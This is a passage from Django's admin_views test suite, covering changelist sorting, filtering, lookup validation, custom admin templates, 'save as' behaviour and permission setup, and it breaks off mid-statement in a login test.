"article_set-5-section": "1", }) response = self.client.post('/test_admin/%s/admin_views/section/1/' % self.urlbit, post_data) self.assertEqual(response.status_code, 302) # redirect somewhere def test_change_list_sorting_callable(self): """ Ensure we can sort on a list_display field that is a callable (column 2 is callable_year in ArticleAdmin) """ response = self.client.get('/test_admin/%s/admin_views/article/' % self.urlbit, {'o': 2}) self.assertContentBefore(response, 'Oldest content', 'Middle content', "Results of sorting on callable are out of order.") self.assertContentBefore(response, 'Middle content', 'Newest content', "Results of sorting on callable are out of order.") def test_change_list_sorting_model(self): """ Ensure we can sort on a list_display field that is a Model method (column 3 is 'model_year' in ArticleAdmin) """ response = self.client.get('/test_admin/%s/admin_views/article/' % self.urlbit, {'o': '-3'}) self.assertContentBefore(response, 'Newest content', 'Middle content', "Results of sorting on Model method are out of order.") self.assertContentBefore(response, 'Middle content', 'Oldest content', "Results of sorting on Model method are out of order.") def test_change_list_sorting_model_admin(self): """ Ensure we can sort on a list_display field that is a ModelAdmin method (column 4 is 'modeladmin_year' in ArticleAdmin) """ response = self.client.get('/test_admin/%s/admin_views/article/' % self.urlbit, {'o': '4'}) self.assertContentBefore(response, 'Oldest content', 'Middle content', "Results of sorting on ModelAdmin method are out of order.") self.assertContentBefore(response, 'Middle content', 'Newest content', "Results of sorting on ModelAdmin method are out of order.") def test_change_list_sorting_model_admin_reverse(self): """ Ensure we can sort on a list_display field that is a ModelAdmin method in reverse order (i.e. admin_order_field uses the '-' prefix) (column 6 is 'model_year_reverse' in ArticleAdmin) """ response = self.client.get('/test_admin/%s/admin_views/article/' % self.urlbit, {'o': '6'}) self.assertContentBefore(response, '2009', '2008', "Results of sorting on ModelAdmin method are out of order.") self.assertContentBefore(response, '2008', '2000', "Results of sorting on ModelAdmin method are out of order.") # Let's make sure the ordering is right and that we don't get a # FieldError when we change to descending order response = self.client.get('/test_admin/%s/admin_views/article/' % self.urlbit, {'o': '-6'}) self.assertContentBefore(response, '2000', '2008', "Results of sorting on ModelAdmin method are out of order.") self.assertContentBefore(response, '2008', '2009', "Results of sorting on ModelAdmin method are out of order.") def test_change_list_sorting_multiple(self): p1 = Person.objects.create(name="Chris", gender=1, alive=True) p2 = Person.objects.create(name="Chris", gender=2, alive=True) p3 = Person.objects.create(name="Bob", gender=1, alive=True) link1 = reverse('admin:admin_views_person_change', args=(p1.pk,)) link2 = reverse('admin:admin_views_person_change', args=(p2.pk,)) link3 = reverse('admin:admin_views_person_change', args=(p3.pk,)) # Sort by name, gender # This hard-codes the URL because it'll fail if it runs against the # 'admin2' custom admin (which doesn't have the Person model). response = self.client.get('/test_admin/admin/admin_views/person/', {'o': '1.2'}) self.assertContentBefore(response, link3, link1) self.assertContentBefore(response, link1, link2) # Sort by gender descending, name response = self.client.get('/test_admin/admin/admin_views/person/', {'o': '-2.1'}) self.assertContentBefore(response, link2, link3) self.assertContentBefore(response, link3, link1) def test_change_list_sorting_preserve_queryset_ordering(self): """ If no ordering is defined in `ModelAdmin.ordering` or in the query string, then the underlying order of the queryset should not be changed, even if it is defined in `Modeladmin.get_queryset()`. Refs #11868, #7309. """ p1 = Person.objects.create(name="Amy", gender=1, alive=True, age=80) p2 = Person.objects.create(name="Bob", gender=1, alive=True, age=70) p3 = Person.objects.create(name="Chris", gender=2, alive=False, age=60) link1 = reverse('admin:admin_views_person_change', args=(p1.pk,)) link2 = reverse('admin:admin_views_person_change', args=(p2.pk,)) link3 = reverse('admin:admin_views_person_change', args=(p3.pk,)) # This hard-codes the URL because it'll fail if it runs against the # 'admin2' custom admin (which doesn't have the Person model). response = self.client.get('/test_admin/admin/admin_views/person/', {}) self.assertContentBefore(response, link3, link2) self.assertContentBefore(response, link2, link1) def test_change_list_sorting_model_meta(self): # Test ordering on Model Meta is respected l1 = Language.objects.create(iso='ur', name='Urdu') l2 = Language.objects.create(iso='ar', name='Arabic') link1 = reverse('admin:admin_views_language_change', args=(quote(l1.pk),)) link2 = reverse('admin:admin_views_language_change', args=(quote(l2.pk),)) response = self.client.get('/test_admin/admin/admin_views/language/', {}) self.assertContentBefore(response, link2, link1) # Test we can override with query string response = self.client.get('/test_admin/admin/admin_views/language/', {'o': '-1'}) self.assertContentBefore(response, link1, link2) def test_change_list_sorting_override_model_admin(self): # Test ordering on Model Admin is respected, and overrides Model Meta dt = datetime.datetime.now() p1 = Podcast.objects.create(name="A", release_date=dt) p2 = Podcast.objects.create(name="B", release_date=dt - datetime.timedelta(10)) link1 = reverse('admin:admin_views_podcast_change', args=(p1.pk,)) link2 = reverse('admin:admin_views_podcast_change', args=(p2.pk,)) response = self.client.get('/test_admin/admin/admin_views/podcast/', {}) self.assertContentBefore(response, link1, link2) def test_multiple_sort_same_field(self): # Check that we get the columns we expect if we have two columns # that correspond to the same ordering field dt = datetime.datetime.now() p1 = Podcast.objects.create(name="A", release_date=dt) p2 = Podcast.objects.create(name="B", release_date=dt - datetime.timedelta(10)) link1 = reverse('admin:admin_views_podcast_change', args=(quote(p1.pk),)) link2 = reverse('admin:admin_views_podcast_change', args=(quote(p2.pk),)) response = self.client.get('/test_admin/admin/admin_views/podcast/', {}) self.assertContentBefore(response, link1, link2) p1 = ComplexSortedPerson.objects.create(name="Bob", age=10) p2 = ComplexSortedPerson.objects.create(name="Amy", age=20) link1 = reverse('admin:admin_views_complexsortedperson_change', args=(p1.pk,)) link2 = reverse('admin:admin_views_complexsortedperson_change', args=(p2.pk,)) response = self.client.get('/test_admin/admin/admin_views/complexsortedperson/', {}) # Should have 5 columns (including action checkbox col) self.assertContains(response, '<th scope="col"', count=5) self.assertContains(response, 'Name') self.assertContains(response, 'Colored name') # Check order self.assertContentBefore(response, 'Name', 'Colored name') # Check sorting - should be by name self.assertContentBefore(response, link2, link1) def test_sort_indicators_admin_order(self): """ Ensures that the admin shows default sort indicators for all kinds of 'ordering' fields: field names, method on the model admin and model itself, and other callables. See #17252. """ models = [(AdminOrderedField, 'adminorderedfield'), (AdminOrderedModelMethod, 'adminorderedmodelmethod'), (AdminOrderedAdminMethod, 'adminorderedadminmethod'), (AdminOrderedCallable, 'adminorderedcallable')] for model, url in models: model.objects.create(stuff='The Last Item', order=3) model.objects.create(stuff='The First Item', order=1) model.objects.create(stuff='The Middle Item', order=2) response = self.client.get('/test_admin/admin/admin_views/%s/' % url, {}) self.assertEqual(response.status_code, 200) # Should have 3 columns including action checkbox col. self.assertContains(response, '<th scope="col"', count=3, msg_prefix=url) # Check if the correct column was selected. 2 is the index of the # 'order' column in the model admin's 'list_display' with 0 being # the implicit 'action_checkbox' and 1 being the column 'stuff'. self.assertEqual(response.context['cl'].get_ordering_field_columns(), {2: 'asc'}) # Check order of records. self.assertContentBefore(response, 'The First Item', 'The Middle Item') self.assertContentBefore(response, 'The Middle Item', 'The Last Item') def test_limited_filter(self): """Ensure admin changelist filters do not contain objects excluded via limit_choices_to. This also tests relation-spanning filters (e.g. 'color__value'). """ response = self.client.get('/test_admin/%s/admin_views/thing/' % self.urlbit) self.assertEqual(response.status_code, 200) self.assertContains(response, '<div id="changelist-filter">', msg_prefix="Expected filter not found in changelist view") self.assertNotContains(response, '<a href="?color__id__exact=3">Blue</a>', msg_prefix="Changelist filter not correctly limited by limit_choices_to") def test_relation_spanning_filters(self): response = self.client.get('/test_admin/%s/admin_views/chapterxtra1/' % self.urlbit) self.assertEqual(response.status_code, 200) self.assertContains(response, '<div id="changelist-filter">') filters = { 'chap__id__exact': dict( values=[c.id for c in Chapter.objects.all()], test=lambda obj, value: obj.chap.id == value), 'chap__title': dict( values=[c.title for c in Chapter.objects.all()], test=lambda obj, value: obj.chap.title == value), 'chap__book__id__exact': dict( values=[b.id for b in Book.objects.all()], test=lambda obj, value: obj.chap.book.id == value), 'chap__book__name': dict( values=[b.name for b in Book.objects.all()], test=lambda obj, value: obj.chap.book.name == value), 'chap__book__promo__id__exact': dict( values=[p.id for p in Promo.objects.all()], test=lambda obj, value: obj.chap.book.promo_set.filter(id=value).exists()), 'chap__book__promo__name': dict( values=[p.name for p in Promo.objects.all()], test=lambda obj, value: obj.chap.book.promo_set.filter(name=value).exists()), } for filter_path, params in filters.items(): for value in params['values']: query_string = urlencode({filter_path: value}) # ensure filter link exists self.assertContains(response, '<a href="?%s">' % query_string) # ensure link works filtered_response = self.client.get( '/test_admin/%s/admin_views/chapterxtra1/?%s' % ( self.urlbit, query_string)) self.assertEqual(filtered_response.status_code, 200) # ensure changelist contains only valid objects for obj in filtered_response.context['cl'].queryset.all(): self.assertTrue(params['test'](obj, value)) def test_incorrect_lookup_parameters(self): """Ensure incorrect lookup parameters are handled gracefully.""" response = self.client.get('/test_admin/%s/admin_views/thing/' % self.urlbit, {'notarealfield': '5'}) self.assertRedirects(response, '/test_admin/%s/admin_views/thing/?e=1' % self.urlbit) # Spanning relationships through a nonexistent related object (Refs #16716) response = self.client.get('/test_admin/%s/admin_views/thing/' % self.urlbit, {'notarealfield__whatever': '5'}) self.assertRedirects(response, '/test_admin/%s/admin_views/thing/?e=1' % self.urlbit) response = self.client.get('/test_admin/%s/admin_views/thing/' % self.urlbit, {'color__id__exact': 'StringNotInteger!'}) self.assertRedirects(response, '/test_admin/%s/admin_views/thing/?e=1' % self.urlbit) # Regression test for #18530 response = self.client.get('/test_admin/%s/admin_views/thing/' % self.urlbit, {'pub_date__gte': 'foo'}) self.assertRedirects(response, '/test_admin/%s/admin_views/thing/?e=1' % self.urlbit) def test_isnull_lookups(self): """Ensure is_null is handled correctly.""" Article.objects.create(title="I Could Go Anywhere", content="Versatile", date=datetime.datetime.now()) response = self.client.get('/test_admin/%s/admin_views/article/' % self.urlbit) self.assertContains(response, '4 articles') response = self.client.get('/test_admin/%s/admin_views/article/' % self.urlbit, {'section__isnull': 'false'}) self.assertContains(response, '3 articles') response = self.client.get('/test_admin/%s/admin_views/article/' % self.urlbit, {'section__isnull': '0'}) self.assertContains(response, '3 articles') response = self.client.get('/test_admin/%s/admin_views/article/' % self.urlbit, {'section__isnull': 'true'}) self.assertContains(response, '1 article') response = self.client.get('/test_admin/%s/admin_views/article/' % self.urlbit, {'section__isnull': '1'}) self.assertContains(response, '1 article') def test_logout_and_password_change_URLs(self): response = self.client.get('/test_admin/%s/admin_views/article/' % self.urlbit) self.assertContains(response, '<a href="/test_admin/%s/logout/">' % self.urlbit) self.assertContains(response, '<a href="/test_admin/%s/password_change/">' % self.urlbit) def test_named_group_field_choices_change_list(self): """ Ensures the admin changelist shows correct values in the relevant column for rows corresponding to instances of a model in which a named group has been used in the choices option of a field. """ link1 = reverse('admin:admin_views_fabric_change', args=(1,), current_app=self.urlbit) link2 = reverse('admin:admin_views_fabric_change', args=(2,), current_app=self.urlbit) response = self.client.get('/test_admin/%s/admin_views/fabric/' % self.urlbit) fail_msg = "Changelist table isn't showing the right human-readable values set by a model field 'choices' option named group." self.assertContains(response, '<a href="%s">Horizontal</a>' % link1, msg_prefix=fail_msg, html=True) self.assertContains(response, '<a href="%s">Vertical</a>' % link2, msg_prefix=fail_msg, html=True) def test_named_group_field_choices_filter(self): """ Ensures the filter UI shows correctly when at least one named group has been used in the choices option of a model field. """ response = self.client.get('/test_admin/%s/admin_views/fabric/' % self.urlbit) fail_msg = "Changelist filter isn't showing options contained inside a model field 'choices' option named group." self.assertContains(response, '<div id="changelist-filter">') self.assertContains(response, '<a href="?surface__exact=x">Horizontal</a>', msg_prefix=fail_msg, html=True) self.assertContains(response, '<a href="?surface__exact=y">Vertical</a>', msg_prefix=fail_msg, html=True) def test_change_list_null_boolean_display(self): Post.objects.create(public=None) # This hard-codes the URl because it'll fail if it runs # against the 'admin2' custom admin (which doesn't have the # Post model). response = self.client.get("/test_admin/admin/admin_views/post/") self.assertContains(response, 'icon-unknown.gif') def test_i18n_language_non_english_default(self): """ Check if the JavaScript i18n view returns an empty language catalog if the default language is non-English but the selected language is English. See #13388 and #3594 for more details. """ with self.settings(LANGUAGE_CODE='fr'), translation.override('en-us'): response = self.client.get('/test_admin/admin/jsi18n/') self.assertNotContains(response, 'Choisir une heure') def test_i18n_language_non_english_fallback(self): """ Makes sure that the fallback language is still working properly in cases where the selected language cannot be found. """ with self.settings(LANGUAGE_CODE='fr'), translation.override('none'): response = self.client.get('/test_admin/admin/jsi18n/') self.assertContains(response, 'Choisir une heure') def test_L10N_deactivated(self): """ Check if L10N is deactivated, the JavaScript i18n view doesn't return localized date/time formats. Refs #14824. """ with self.settings(LANGUAGE_CODE='ru', USE_L10N=False), translation.override('none'): response = self.client.get('/test_admin/admin/jsi18n/') self.assertNotContains(response, '%d.%m.%Y %H:%M:%S') self.assertContains(response, '%Y-%m-%d %H:%M:%S') def test_disallowed_filtering(self): with patch_logger('django.security.DisallowedModelAdminLookup', 'error') as calls: response = self.client.get("/test_admin/admin/admin_views/album/?owner__email__startswith=fuzzy") self.assertEqual(response.status_code, 400) self.assertEqual(len(calls), 1) # Filters are allowed if explicitly included in list_filter response = self.client.get("/test_admin/admin/admin_views/thing/?color__value__startswith=red") self.assertEqual(response.status_code, 200) response = self.client.get("/test_admin/admin/admin_views/thing/?color__value=red") self.assertEqual(response.status_code, 200) # Filters should be allowed if they involve a local field without the # need to whitelist them in list_filter or date_hierarchy. response = self.client.get("/test_admin/admin/admin_views/person/?age__gt=30") self.assertEqual(response.status_code, 200) e1 = Employee.objects.create(name='Anonymous', gender=1, age=22, alive=True, code='123') e2 = Employee.objects.create(name='Visitor', gender=2, age=19, alive=True, code='124') WorkHour.objects.create(datum=datetime.datetime.now(), employee=e1) WorkHour.objects.create(datum=datetime.datetime.now(), employee=e2) response = self.client.get("/test_admin/admin/admin_views/workhour/") self.assertEqual(response.status_code, 200) self.assertContains(response, 'employee__person_ptr__exact') response = self.client.get("/test_admin/admin/admin_views/workhour/?employee__person_ptr__exact=%d" % e1.pk) self.assertEqual(response.status_code, 200) def test_disallowed_to_field(self): with patch_logger('django.security.DisallowedModelAdminToField', 'error') as calls: response = self.client.get("/test_admin/admin/admin_views/section/", {TO_FIELD_VAR: 'missing_field'}) self.assertEqual(response.status_code, 400) self.assertEqual(len(calls), 1) # Specifying a field that is not referred by any other model registered # to this admin site should raise an exception. with patch_logger('django.security.DisallowedModelAdminToField', 'error') as calls: response = self.client.get("/test_admin/admin/admin_views/section/", {TO_FIELD_VAR: 'name'}) self.assertEqual(response.status_code, 400) self.assertEqual(len(calls), 1) # #23839 - Primary key should always be allowed, even if the referenced model isn't registered. response = self.client.get("/test_admin/admin/admin_views/notreferenced/", {TO_FIELD_VAR: 'id'}) self.assertEqual(response.status_code, 200) # #23915 - Specifying a field referenced by another model though a m2m should be allowed. response = self.client.get("/test_admin/admin/admin_views/recipe/", {TO_FIELD_VAR: 'rname'}) self.assertEqual(response.status_code, 200) # #23604, #23915 - Specifying a field referenced through a reverse m2m relationship should be allowed. response = self.client.get("/test_admin/admin/admin_views/ingredient/", {TO_FIELD_VAR: 'iname'}) self.assertEqual(response.status_code, 200) # #23329 - Specifying a field that is not referred by any other model directly registered # to this admin site but registered through inheritance should be allowed. response = self.client.get("/test_admin/admin/admin_views/referencedbyparent/", {TO_FIELD_VAR: 'name'}) self.assertEqual(response.status_code, 200) # #23431 - Specifying a field that is only referred to by a inline of a registered # model should be allowed. response = self.client.get("/test_admin/admin/admin_views/referencedbyinline/", {TO_FIELD_VAR: 'name'}) self.assertEqual(response.status_code, 200) # We also want to prevent the add and change view from leaking a # disallowed field value. with patch_logger('django.security.DisallowedModelAdminToField', 'error') as calls: response = self.client.post("/test_admin/admin/admin_views/section/add/", {TO_FIELD_VAR: 'name'}) self.assertEqual(response.status_code, 400) self.assertEqual(len(calls), 1) section = Section.objects.create() with patch_logger('django.security.DisallowedModelAdminToField', 'error') as calls: response = self.client.post("/test_admin/admin/admin_views/section/%d/" % section.pk, {TO_FIELD_VAR: 'name'}) self.assertEqual(response.status_code, 400) self.assertEqual(len(calls), 1) def test_allowed_filtering_15103(self): """ Regressions test for ticket 15103 - filtering on fields defined in a ForeignKey 'limit_choices_to' should be allowed, otherwise raw_id_fields can break. """ # Filters should be allowed if they are defined on a ForeignKey pointing to this model response = self.client.get("/test_admin/admin/admin_views/inquisition/?leader__name=Palin&leader__age=27") self.assertEqual(response.status_code, 200) def test_popup_dismiss_related(self): """ Regression test for ticket 20664 - ensure the pk is properly quoted. """ actor = Actor.objects.create(name="Palin", age=27) response = self.client.get("/test_admin/admin/admin_views/actor/?%s" % IS_POPUP_VAR) self.assertContains(response, "opener.dismissRelatedLookupPopup(window, &#39;%s&#39;)" % actor.pk) def test_hide_change_password(self): """ Tests if the "change password" link in the admin is hidden if the User does not have a usable password set. (against 9bea85795705d015cdadc82c68b99196a8554f5c) """ user = User.objects.get(username='super') user.set_unusable_password() user.save() response = self.client.get('/test_admin/admin/') self.assertNotContains(response, reverse('admin:password_change'), msg_prefix='The "change password" link should not be displayed if a user does not have a usable password.') def test_change_view_with_show_delete_extra_context(self): """ Ensured that the 'show_delete' context variable in the admin's change view actually controls the display of the delete button. Refs #10057. """ instance = UndeletableObject.objects.create(name='foo') response = self.client.get('/test_admin/%s/admin_views/undeletableobject/%d/' % (self.urlbit, instance.pk)) self.assertNotContains(response, 'deletelink') def test_allows_attributeerror_to_bubble_up(self): """ Ensure that AttributeErrors are allowed to bubble when raised inside a change list view. Requires a model to be created so there's something to be displayed Refs: #16655, #18593, and #18747 """ Simple.objects.create() with self.assertRaises(AttributeError): self.client.get('/test_admin/%s/admin_views/simple/' % self.urlbit) def test_changelist_with_no_change_url(self): """ ModelAdmin.changelist_view shouldn't result in a NoReverseMatch if url for change_view is removed from get_urls Regression test for #20934 """ UnchangeableObject.objects.create() response = self.client.get('/test_admin/admin/admin_views/unchangeableobject/') self.assertEqual(response.status_code, 200) # Check the format of the shown object -- shouldn't contain a change link self.assertContains(response, '<th class="field-__str__">UnchangeableObject object</th>', html=True) def test_invalid_appindex_url(self): """ #21056 -- URL reversing shouldn't work for nonexistent apps. """ good_url = '/test_admin/admin/admin_views/' confirm_good_url = reverse('admin:app_list', kwargs={'app_label': 'admin_views'}) self.assertEqual(good_url, confirm_good_url) with self.assertRaises(NoReverseMatch): reverse('admin:app_list', kwargs={'app_label': 'this_should_fail'}) with self.assertRaises(NoReverseMatch): reverse('admin:app_list', args=('admin_views2',)) def test_proxy_model_content_type_is_used_for_log_entries(self): """ Log entries for proxy models should have the proxy model's content type. Regression test for #21084. """ color2_content_type = ContentType.objects.get_for_model(Color2, for_concrete_model=False) # add color2_add_url = reverse('admin:admin_views_color2_add') self.client.post(color2_add_url, {'value': 'orange'}) color2_addition_log = LogEntry.objects.all()[0] self.assertEqual(color2_content_type, color2_addition_log.content_type) # change color_id = color2_addition_log.object_id color2_change_url = reverse('admin:admin_views_color2_change', args=(color_id,)) self.client.post(color2_change_url, {'value': 'blue'}) color2_change_log = LogEntry.objects.all()[0] self.assertEqual(color2_content_type, color2_change_log.content_type) # delete color2_delete_url = reverse('admin:admin_views_color2_delete', args=(color_id,)) self.client.post(color2_delete_url) color2_delete_log = LogEntry.objects.all()[0] self.assertEqual(color2_content_type, color2_delete_log.content_type) def test_adminsite_display_site_url(self): """ #13749 - Admin should display link to front-end site 'View site' """ url = reverse('admin:index') response = self.client.get(url) self.assertEqual(response.context['site_url'], '/my-site-url/') self.assertContains(response, '<a href="/my-site-url/">View site</a>') @override_settings(TEMPLATE_DIRS=ADMIN_VIEW_TEMPLATES_DIR) class AdminCustomTemplateTests(AdminViewBasicTestCase): def test_extended_bodyclass_template_change_form(self): """ Ensure that the admin/change_form.html template uses block.super in the bodyclass block. """ response = self.client.get('/test_admin/%s/admin_views/section/add/' % self.urlbit) self.assertContains(response, 'bodyclass_consistency_check ') def test_extended_bodyclass_template_change_password(self): """ Ensure that the auth/user/change_password.html template uses block super in the bodyclass block. """ user = User.objects.get(username='super') response = self.client.get('/test_admin/%s/auth/user/%s/password/' % (self.urlbit, user.id)) self.assertContains(response, 'bodyclass_consistency_check ') def test_extended_bodyclass_template_index(self): """ Ensure that the admin/index.html template uses block.super in the bodyclass block. """ response = self.client.get('/test_admin/%s/' % self.urlbit) self.assertContains(response, 'bodyclass_consistency_check ') def test_extended_bodyclass_change_list(self): """ Ensure that the admin/change_list.html' template uses block.super in the bodyclass block. """ response = self.client.get('/test_admin/%s/admin_views/article/' % self.urlbit) self.assertContains(response, 'bodyclass_consistency_check ') def test_extended_bodyclass_template_login(self): """ Ensure that the admin/login.html template uses block.super in the bodyclass block. """ self.client.logout() response = self.client.get('/test_admin/%s/login/' % self.urlbit) self.assertContains(response, 'bodyclass_consistency_check ') def test_extended_bodyclass_template_delete_confirmation(self): """ Ensure that the admin/delete_confirmation.html template uses block.super in the bodyclass block. """ group = Group.objects.create(name="foogroup") response = self.client.get('/test_admin/%s/auth/group/%s/delete/' % (self.urlbit, group.id)) self.assertContains(response, 'bodyclass_consistency_check ') def test_extended_bodyclass_template_delete_selected_confirmation(self): """ Ensure that the admin/delete_selected_confirmation.html template uses block.super in bodyclass block. """ group = Group.objects.create(name="foogroup") post_data = { 'action': 'delete_selected', 'selected_across': '0', 'index': '0', '_selected_action': group.id } response = self.client.post('/test_admin/%s/auth/group/' % (self.urlbit), post_data) self.assertEqual(response.context['site_header'], 'Django administration') self.assertContains(response, 'bodyclass_consistency_check ') def test_filter_with_custom_template(self): """ Ensure that one can use a custom template to render an admin filter. Refs #17515. """ response = self.client.get("/test_admin/admin/admin_views/color2/") self.assertTemplateUsed(response, 'custom_filter_template.html') @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminViewFormUrlTest(TestCase): fixtures = ["admin-views-users.xml"] urlbit = "admin3" def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_change_form_URL_has_correct_value(self): """ Tests whether change_view has form_url in response.context """ response = self.client.get('/test_admin/%s/admin_views/section/1/' % self.urlbit) self.assertIn('form_url', response.context, msg='form_url not present in response.context') self.assertEqual(response.context['form_url'], 'pony') def test_initial_data_can_be_overridden(self): """ Tests that the behavior for setting initial form data can be overridden in the ModelAdmin class. Usually, the initial value is set via the GET params. """ response = self.client.get('/test_admin/%s/admin_views/restaurant/add/' % self.urlbit, {'name': 'test_value'}) # this would be the usual behaviour self.assertNotContains(response, 'value="test_value"') # this is the overridden behaviour self.assertContains(response, 'value="overridden_value"') @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminJavaScriptTest(TestCase): fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_js_minified_only_if_debug_is_false(self): """ Ensure that the minified versions of the JS files are only used when DEBUG is False. Refs #17521. """ with override_settings(DEBUG=False): response = self.client.get( '/test_admin/%s/admin_views/section/add/' % 'admin') self.assertNotContains(response, 'jquery.js') self.assertContains(response, 'jquery.min.js') self.assertNotContains(response, 'prepopulate.js') self.assertContains(response, 'prepopulate.min.js') self.assertNotContains(response, 'actions.js') self.assertContains(response, 'actions.min.js') self.assertNotContains(response, 'collapse.js') self.assertContains(response, 'collapse.min.js') self.assertNotContains(response, 'inlines.js') self.assertContains(response, 'inlines.min.js') with override_settings(DEBUG=True): response = self.client.get( '/test_admin/%s/admin_views/section/add/' % 'admin') self.assertContains(response, 'jquery.js') self.assertNotContains(response, 'jquery.min.js') self.assertContains(response, 'prepopulate.js') self.assertNotContains(response, 'prepopulate.min.js') self.assertContains(response, 'actions.js') self.assertNotContains(response, 'actions.min.js') self.assertContains(response, 'collapse.js') self.assertNotContains(response, 'collapse.min.js') self.assertContains(response, 'inlines.js') self.assertNotContains(response, 'inlines.min.js') @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class SaveAsTests(TestCase): fixtures = ['admin-views-users.xml', 'admin-views-person.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_save_as_duplication(self): """Ensure save as actually creates a new person""" post_data = {'_saveasnew': '', 'name': 'John M', 'gender': 1, 'age': 42} self.client.post('/test_admin/admin/admin_views/person/1/', post_data) self.assertEqual(len(Person.objects.filter(name='John M')), 1) self.assertEqual(len(Person.objects.filter(id=1)), 1) def test_save_as_display(self): """ Ensure that 'save as' is displayed when activated and after submitting invalid data aside save_as_new will not show us a form to overwrite the initial model. """ response = self.client.get('/test_admin/admin/admin_views/person/1/') self.assertTrue(response.context['save_as']) post_data = {'_saveasnew': '', 'name': 'John M', 'gender': 3, 'alive': 'checked'} response = self.client.post('/test_admin/admin/admin_views/person/1/', post_data) self.assertEqual(response.context['form_url'], '/test_admin/admin/admin_views/person/add/') @override_settings(ROOT_URLCONF="admin_views.urls") class CustomModelAdminTest(AdminViewBasicTestCase): urlbit = "admin2" def test_custom_admin_site_login_form(self): self.client.logout() response = self.client.get('/test_admin/admin2/', follow=True) self.assertIsInstance(response, TemplateResponse) self.assertEqual(response.status_code, 200) login = self.client.post('/test_admin/admin2/login/', { REDIRECT_FIELD_NAME: '/test_admin/admin2/', 'username': 'customform', 'password': 'secret', }, follow=True) self.assertIsInstance(login, TemplateResponse) self.assertEqual(login.status_code, 200) self.assertContains(login, 'custom form error') def test_custom_admin_site_login_template(self): self.client.logout() response = self.client.get('/test_admin/admin2/', follow=True) self.assertIsInstance(response, TemplateResponse) self.assertTemplateUsed(response, 'custom_admin/login.html') self.assertContains(response, 'Hello from a custom login template') def test_custom_admin_site_logout_template(self): response = self.client.get('/test_admin/admin2/logout/') self.assertIsInstance(response, TemplateResponse) self.assertTemplateUsed(response, 'custom_admin/logout.html') self.assertContains(response, 'Hello from a custom logout template') def test_custom_admin_site_index_view_and_template(self): try: response = self.client.get('/test_admin/admin2/') except TypeError: self.fail('AdminSite.index_template should accept a list of template paths') self.assertIsInstance(response, TemplateResponse) self.assertTemplateUsed(response, 'custom_admin/index.html') self.assertContains(response, 'Hello from a custom index template *bar*') def test_custom_admin_site_app_index_view_and_template(self): response = self.client.get('/test_admin/admin2/admin_views/') self.assertIsInstance(response, TemplateResponse) self.assertTemplateUsed(response, 'custom_admin/app_index.html') self.assertContains(response, 'Hello from a custom app_index template') def test_custom_admin_site_password_change_template(self): response = self.client.get('/test_admin/admin2/password_change/') self.assertIsInstance(response, TemplateResponse) self.assertTemplateUsed(response, 'custom_admin/password_change_form.html') self.assertContains(response, 'Hello from a custom password change form template') def test_custom_admin_site_password_change_with_extra_context(self): response = self.client.get('/test_admin/admin2/password_change/') self.assertIsInstance(response, TemplateResponse) self.assertTemplateUsed(response, 'custom_admin/password_change_form.html') self.assertContains(response, 'eggs') def test_custom_admin_site_password_change_done_template(self): response = self.client.get('/test_admin/admin2/password_change/done/') self.assertIsInstance(response, TemplateResponse) self.assertTemplateUsed(response, 'custom_admin/password_change_done.html') self.assertContains(response, 'Hello from a custom password change done template') def test_custom_admin_site_view(self): self.client.login(username='super', password='secret') response = self.client.get('/test_admin/%s/my_view/' % self.urlbit) self.assertEqual(response.content, b"Django is a magical pony!") def test_pwd_change_custom_template(self): self.client.login(username='super', password='secret') su = User.objects.get(username='super') try: response = self.client.get('/test_admin/admin4/auth/user/%s/password/' % su.pk) except TypeError: self.fail('ModelAdmin.change_user_password_template should accept a list of template paths') self.assertEqual(response.status_code, 200) def get_perm(Model, perm): """Return the permission object, for the Model""" ct = ContentType.objects.get_for_model(Model) return Permission.objects.get(content_type=ct, codename=perm) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminViewPermissionsTest(TestCase): """Tests for Admin Views Permissions.""" fixtures = ['admin-views-users.xml'] def setUp(self): """Test setup.""" # Setup permissions, for our users who can add, change, and delete. # We can't put this into the fixture, because the content type id # and the permission id could be different on each run of the test. opts = Article._meta # User who can add Articles add_user = User.objects.get(username='adduser') add_user.user_permissions.add(get_perm(Article, get_permission_codename('add', opts))) # User who can change Articles change_user = User.objects.get(username='changeuser') change_user.user_permissions.add(get_perm(Article, get_permission_codename('change', opts))) # User who can delete Articles delete_user = User.objects.get(username='deleteuser') delete_user.user_permissions.add(get_perm(Article, get_permission_codename('delete', opts))) delete_user.user_permissions.add(get_perm(Section, get_permission_codename('delete', Section._meta))) # login POST dicts self.super_login = { REDIRECT_FIELD_NAME: '/test_admin/admin/', 'username': 'super', 'password': 'secret', } self.super_email_login = { REDIRECT_FIELD_NAME: '/test_admin/admin/', 'username': 'super@example.com', 'password': 'secret', } self.super_email_bad_login = { REDIRECT_FIELD_NAME: '/test_admin/admin/', 'username': 'super@example.com', 'password': 'notsecret', } self.adduser_login = { REDIRECT_FIELD_NAME: '/test_admin/admin/', 'username': 'adduser', 'password': 'secret', } self.changeuser_login = { REDIRECT_FIELD_NAME: '/test_admin/admin/', 'username': 'changeuser', 'password': 'secret', } self.deleteuser_login = { REDIRECT_FIELD_NAME: '/test_admin/admin/', 'username': 'deleteuser', 'password': 'secret', } self.joepublic_login = { REDIRECT_FIELD_NAME: '/test_admin/admin/', 'username': 'joepublic', 'password': 'secret', } self.no_username_login = { REDIRECT_FIELD_NAME: '/test_admin/admin/', 'password': 'secret', } def test_login(self): """ Make sure only staff members can log in. Successful posts to the login page will redirect to the original url. Unsuccessful attempts will continue to render the login page with a 200 status code. """ login_url = reverse('admin:login') + '?next=/test_admin/admin/' # Super User response = self.client.get('/test_admin/admin/') self.assertEqual(response.status_code, 302) login = self.client.post(login_url, self.super_login) self.assertRedirects(login, '/test_admin/admin/') self.assertFalse(login.context) self.client.get('/test_admin/admin/logout/') # Test if user enters email address response = self.client.get('/test_admin/admin/') self.assertEqual(response.status_code, 302) login = 